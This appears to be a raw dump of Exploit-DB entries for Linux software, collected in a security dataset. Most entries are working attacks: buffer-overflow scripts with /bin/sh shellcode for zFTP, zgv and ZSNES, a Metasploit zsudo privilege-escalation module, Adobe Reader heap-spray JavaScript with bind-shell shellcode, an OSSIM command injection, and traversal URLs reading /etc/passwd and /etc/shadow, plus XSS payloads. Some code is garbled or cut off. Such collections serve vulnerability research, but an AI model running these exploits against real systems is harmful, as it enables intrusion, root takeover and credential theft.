deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40203
Description: zFTP Client 20061220 - 'Connection Name' Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-08-05
Author: Juan Sacco

Exploit:
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: zFTP Client
# Affected value: NAME under FTP connection
# Where in the code: Line 30 in strcpy_chk.c
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680 "/MACRO", destlen=0x50) at strcpy_chk.c:30
# Version: 20061220+dfsg3-4.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  ZFTP is a macro-extensible file transfer program which supports the
# transfer of formatted, unformatted and ZEBRA RZ files
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb
# MD5sum: 524217187d28e4444d6c437ddd37e4de
# Website: http://cernlib.web.cern.ch/cernlib/
#
# gdb$ run `python -c 'print "A"*30'`
# Starting program: /usr/bin/zftp `python -c 'print "A"*30'`
# *** buffer overflow detected ***: /usr/bin/zftp terminated
# ======= Backtrace: =========
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]
# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():
  try:
    print "# zFTP Client - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 100
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["zftp ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, zFTP client- Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit zFTP Client -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
Exploit-DB #339
Description: zgv - '$HOME' Local Buffer Overflow
Type: local
Platform: linux
Date: 1997-06-20
Author: BeastMaster V

Exploit:
/*
 *
 * zgv exploit coded by BeastMaster V on June 20, 1997
 *
 * USAGE:
 *   For some strage reason, the filename length of this
 *   particular exploit must me one character long, otherwise you
 *   will be drop into a normal unpriviledged shell. Go Figure....
 *
 *   $ cp zgv_exploit.c n.c
 *   $ cc -o n n.c
 *   $ ./n
 *   Oak driver: Unknown chipset (id =  0)
 *   bash#
 *
 * EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
 * TEMPORARY FIX:  chmod u-s /usr/bin/zgv
 * NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
 * DISCLAIMER: Please use this in a responsible manner.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
   asm("movl %esp,%eax");
}

#define bufsize 4096
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() -4675;

  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));

  buffer[bufsize - 1] = 0;

  setenv("HOME", buffer, 1);

  execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}

// milw0rm.com [1997-06-20]
Exploit-DB #26451
Description: ZPanel zsudo - Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2013-06-26
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'


class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'ZPanel zsudo Local Privilege Escalation Exploit',
        'Description'   => %q{
          This module abuses the zsudo binary, installed with zpanel, to escalate
          privileges. In order to work, a session with access to zsudo on the sudoers
          configuration is needed. This module is useful for post exploitation of ZPanel
          vulnerabilities, where typically web server privileges are acquired, and this
          user is allowed to execute zsudo on the sudoers file.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'sinn3r', 'juan vazquez' ],
        'DisclosureDate' => 'Jun 07 2013',
        'Platform'      => [ 'unix', 'linux'],
        'Arch'          => [ ARCH_CMD, ARCH_X86 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'Targets'       =>
          [
            [ 'Command payload', { 'Arch' => ARCH_CMD } ],
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ]
          ],
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0,
      }
      ))
    register_options([
        # These are not OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("zsudo",        [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
      ], self.class)
  end

  def check
    if file?(datastore["zsudo"])
      return CheckCode::Detected
    end

    return CheckCode::Unknown
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh"
      # Using this way of writing the payload to avoid issues when failing to find
      # a command on the victim for writing binary data
      cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}"
    else
      exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
      write_file(exe_file, generate_payload_exe)
    end

    cmd_exec "chmod +x #{exe_file}"

    print_status("Running...")

    begin
      cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}"
    ensure
      cmd_exec "rm -f #{exe_file}"
    end

  end
end
Exploit-DB #37975
Description: ZSNES 1.51 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2015-08-26
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.comp <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali Linux 2.0
# Description: ZSNES v1.51 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.zsnes.com
# Kali Linux 2.0 package: 1.510+bz2-8 (/var/lib/apt/lists/http.kali.org_kali_dists_sana_main_binary-i386_Packages)
# MD5: 23c1e4d12b6b8895961a29f2fd91570b

def run():
  try:
    print "# ZSNES v1.51 Stack-BoF by Juan Sacco"
    print "# Wasting CPU clocks on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP
    junk = "\x41"*8
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*589
    eip = "\x10\xf0\xff\xbf"

    subprocess.call(["zsnes", junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "ZSNES not found!"
    else:
    print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"
    print "Author: Juan Sacco (Runlvl)"
  except IndexError:
    howtousage()
run()
Exploit-DB #23082
Description: (SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication Bypass
Type: remote
Platform: linux
Date: 2012-12-02
Author: kingcope

Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23082.zip

SSH Tectia Remote Authentication Bypass
Tectia is the commercial OpenSSH solution. The product can be found at:
www.tectia.com
An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified: AIX/Linux) can login without a password.
The bug is in the SSH USERAUTH CHANGE REQUEST routines which are there to allow a user to change their password. A bug in this code allows an attacker to login without a password by forcing a password change request prior to authentication.

The vulnerability has been verified on UNIX operating systems and at least on this (recent) versions:
• SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com)
• SSH-2.0-6.0.11.5 SSH Tectia Server
A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack.

Kingcope
Exploit-DB #33622
Description: Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access
Type: remote
Platform: linux
Date: 2010-02-10
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/38176/info

Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:

- Multiple privilege-escalation issues
- A directory-traversal issue
- An HTML-injection issue
- A remote command-injection issue

An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible. 

https://www.example.com/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd
Exploit-DB #21422
Description: ACME Labs thttpd 2.20 - Cross-Site Scripting
Type: remote
Platform: linux
Date: 2002-04-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4601/info

thttpd is a web server product maintained by ACME Labs. thttpd has been compiled for Linux, BSD and Solaris, as well as other Unix like operating systems.

Cross Site Scripting issues has been reported in some versions of thttpd. thttpd fails to check URLs for the presence of script commands when generating error pages, allowing the attacker-supplied code to execute within the context of the hosted site.

It should be noted that this issue was tested on 2.20b, other versions may also be affected by this issue. 

http://www.host.com/<script>[SCRIPT]</script>
Exploit-DB #38522
Description: Acme thttpd HTTP Server - Directory Traversal
Type: remote
Platform: linux
Date: 2013-05-19
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/60010/info

thttpd is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the web server. Information harvested may aid in launching further attacks. 

www.example.com/../../../../../../../../etc/passwd

www.example.com/../../../../../../../../etc/shadow
Exploit-DB #21858
Description: ACWeb 1.14/1.8 - Cross-Site Scripting
Type: remote
Platform: linux
Date: 2002-09-25
Author: DownBload

Exploit:
source: https://www.securityfocus.com/bid/5793/info

acWEB is prone to cross-site scripting attacks. It is possible to construct a malicious link to the web server which contains arbitrary script code. When the link is visited, the script code will be executed in the web client of the user visiting the link. The code will be executed in the context of the webserver. 

http://www.victim.com/%db<script>alert('test');</script>/
Exploit-DB #8570
Description: Adobe 8.1.4/9.1 - 'customDictionaryOpen()' Code Execution
Type: remote
Platform: linux
Date: 2009-04-29
Author: Arr1val

Exploit:
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############

var memory;
function New_Script()
{
	var nop = unescape("%u9090%u9090");
var shellcode = unescape("%uc92b%ue983%ud9ee%ud9ee%u2474%u5bf4%u7381%uc513%u4871%u83a5%ufceb%uf4e2%uaaf4%ue61b%u1b96%ucf4a%u29a3%u44c1%uf108%ufcdb%u4e75%u2585%u088c%ufeb1%u199f%ua442%u88da%ucd2e%ucac4%uc30b%uf896%u15a9%u21a3%uf619%u904c%u680b%u2345%u8a20%u02ea%ucd20%u13ea%ucb21%u924c%uf61a%u904c%uaef8%uf108%ua548");//443 on 10.1.31.249

	while(nop.length <= 0x10000/2) nop+=nop;
	nop=nop.substring(0,0x10000/2 - shellcode.length);

	memory=new Array();
	for(i=0;i<0x6ff0;i++)
	{memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
	this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 ;)
}

}

//############################

# milw0rm.com [2009-04-29]
Exploit-DB #22771
Description: Adobe Acrobat Reader (UNIX) 5.0 6 / Xpdf 0.9x Hyperlinks - Arbitrary Command Execution
Type: remote
Platform: linux
Date: 2003-06-13
Author: Martyn Gilmore

Exploit:
source: https://www.securityfocus.com/bid/7912/info

A vulnerability has been reported for multiple PDF viewers for Unix variant operating systems. The problem is said to occur when hyperlinks have been enabled within the viewer. Allegedly, by placing a specially formatted hyperlink within a PDF file it is possible to execute arbitrary shell commands when a user clicks the link. This is due to the PDF viewer invoking an external application, via a call to 'sh -c', to handle the request.

Successful exploitation of this vulnerability could potentially allow an attacker to execute arbitrary commands on a target system with the privileges of the user invoking the PDF document.

It should be noted that this vulnerability may be similar to that described in BID 1624.

** Reports suggest that the fixes supplied by Red Hat and Mandrake Linux do not adequately fix the problem. Specifically, the fixes make changes to xpdf to filter out back quote characters. The problem lies in the fact that other shell metacharacters are not filtered. Thus it may still be possible for attackers to execute arbitrary commands. Red Hat has released updated advisories to correct this oversight. 

\documentclass[11pt]{minimal}
\usepackage{color}
\usepackage[urlcolor=blue,colorlinks=true,pdfpagemode=none]{hyperref}
\begin{document}
\href{prot:hyperlink with stuff, say, `rm -rf /tmp/abc`; touch /tmp/pqr}{\textt\t{Click me}}
\end{document}
Exploit-DB #30907
Description: Adobe Flash Player 7.0.x/8.0.x/9.0.x - ActiveX Control 'navigateToURL' API Cross Domain Scripting
Type: remote
Platform: linux
Date: 2007-12-18
Author: Adam Barth

Exploit:
source: https://www.securityfocus.com/bid/26960/info

The Adobe Flash Player ActiveX control is prone to a cross-domain scripting vulnerability.

An attacker may leverage this issue to execute arbitrary JavaScript in the context of another domain.

This issue affects Adobe Flash Player 9.0.48.0, 8.0.35.0, and prior versions.

NOTE: This issue was previously disclosed in BID 26929 (Adobe Flash Player Multiple Security Vulnerabilities) but has been assigned its own BID because new technical details are available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30907.as
Exploit-DB #31630
Description: Adobe Flash Player 8/9.0.x - '.SWF' File 'DeclareFunction2' ActionScript Tag Remote Code Execution
Type: remote
Platform: linux
Date: 2008-04-08
Author: Javier Vicente Vallejo

Exploit:
source: https://www.securityfocus.com/bid/28694/info

Adobe Flash Player is prone to a remote code-execution vulnerability when handling certain embedded ActionScript objects.

An attacker may exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Adobe Flash Player 9.0.115.0 and earlier versions are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31630.rar
Exploit-DB #8569
Description: Adobe Reader 8.1.4/9.1 - 'GetAnnots()' Remote Code Execution
Type: remote
Platform: linux
Date: 2009-04-29
Author: Arr1val

Exploit:
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############

var memory;
function New_Script()
{

//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
var startwith = app.alert('Hi');//required for adobe9

    var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)
    var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

    while(nop.length <= 0x100000/2) nop+=nop;
    nop=nop.substring(0,0x100000/2 - shellcode.length);

    memory=new Array();
    for(i=0;i<0x6ff;i++)  //we should at least overwrite 0x90909090
    {memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
    this.getAnnots(-134217728,-134217728,-134217728,-134217728);
}

}

//############################

# milw0rm.com [2009-04-29]
Exploit-DB #29383
Description: Adobe Reader 9.1.3 Plugin - Cross-Site Scripting
Type: remote
Platform: linux
Date: 2007-01-03
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/21858/info

Adobe Reader Plugin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the visited site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Adobe Reader versions 6 and 7 for Mozilla Firefox, Opera, and Microsoft Internet Explorer. Other versions for other browsers may also be affected.

http://www.example.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
Exploit-DB #31887
Description: ALFTP FTP Client 4.1/5.0 - 'LIST' Directory Traversal
Type: remote
Platform: linux
Date: 2008-06-06
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29585/info

ALFTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP client.

Exploiting this issue will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

ALFTP 4.1 beta 2 (English) and 5.0 (Korean) are vulnerable; other versions may also be affected.

Response to LIST (backslash):

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
/../../../../../../../../../testfile.txt\r\n
Exploit-DB #33805
Description: Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution
Type: remote
Platform: linux
Date: 2014-06-18
Author: Alfredo Ramirez

Exploit:
# Exploit Title: AlienVault OSSIM < 4.7.0 av-centerd 'get_log_line()' Remote Code Execution
# Date: 06/17/2014
# Exploit Author: Alfredo Ramirez
# Vendor Homepage: http://www.alienvault.com/
# Software Link: http://www.alienvault.com/open-threat-exchange/projects
# Version: < 4.7.0
# Tested on: Debian/Virtual Appliance
# CVE : CVE-2014-3805

 #!perl -w

  use SOAP::Lite;

  # SSL is self-signed so we have to ignore verification.
  $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;

  # We simply append the 'id' command to the number of log we want to
  # read.
  @soap_response = SOAP::Lite
    -> uri('AV/CC/Util')
    -> proxy('https://172.26.22.2:40007/av-centerd')
    -> get_log_line('All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;')
    -> result;

  for (@{ $soap_response[0] }) {
   print "$_\n";
  }

  # If vulnerable output will be: uid=0(root) gid=0(root) groups=0(root)
Exploit-DB #37576
Description: Alligra Calligra - Heap Buffer Overflow
Type: remote
Platform: linux
Date: 2012-08-07
Author: Charlie Miller

Exploit:
source: https://www.securityfocus.com/bid/54816/info

Calligra is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Calligra 2.4.3 and KOffice 2.3.3 are vulnerable; other versions may also be affected. 

bool STD::read( U16 baseSize, U16 totalSize, OLEStreamReader* stream, bool
preservePos )
...
grupxLen = totalSize - ( stream->tell() - startOffset );
grupx = new U8[ grupxLen ];
int offset = 0;
for ( U8 i = 0; i < cupx; ++i) {
U16 cbUPX = stream->readU16(); // size of the next UPX
stream->seek( -2, G_SEEK_CUR ); // rewind the "lookahead"
cbUPX += 2; // ...and correct the size
for ( U16 j = 0; j < cbUPX; ++j ) {
grupx[ offset + j ] = stream->readU8(); // read the whole UPX
}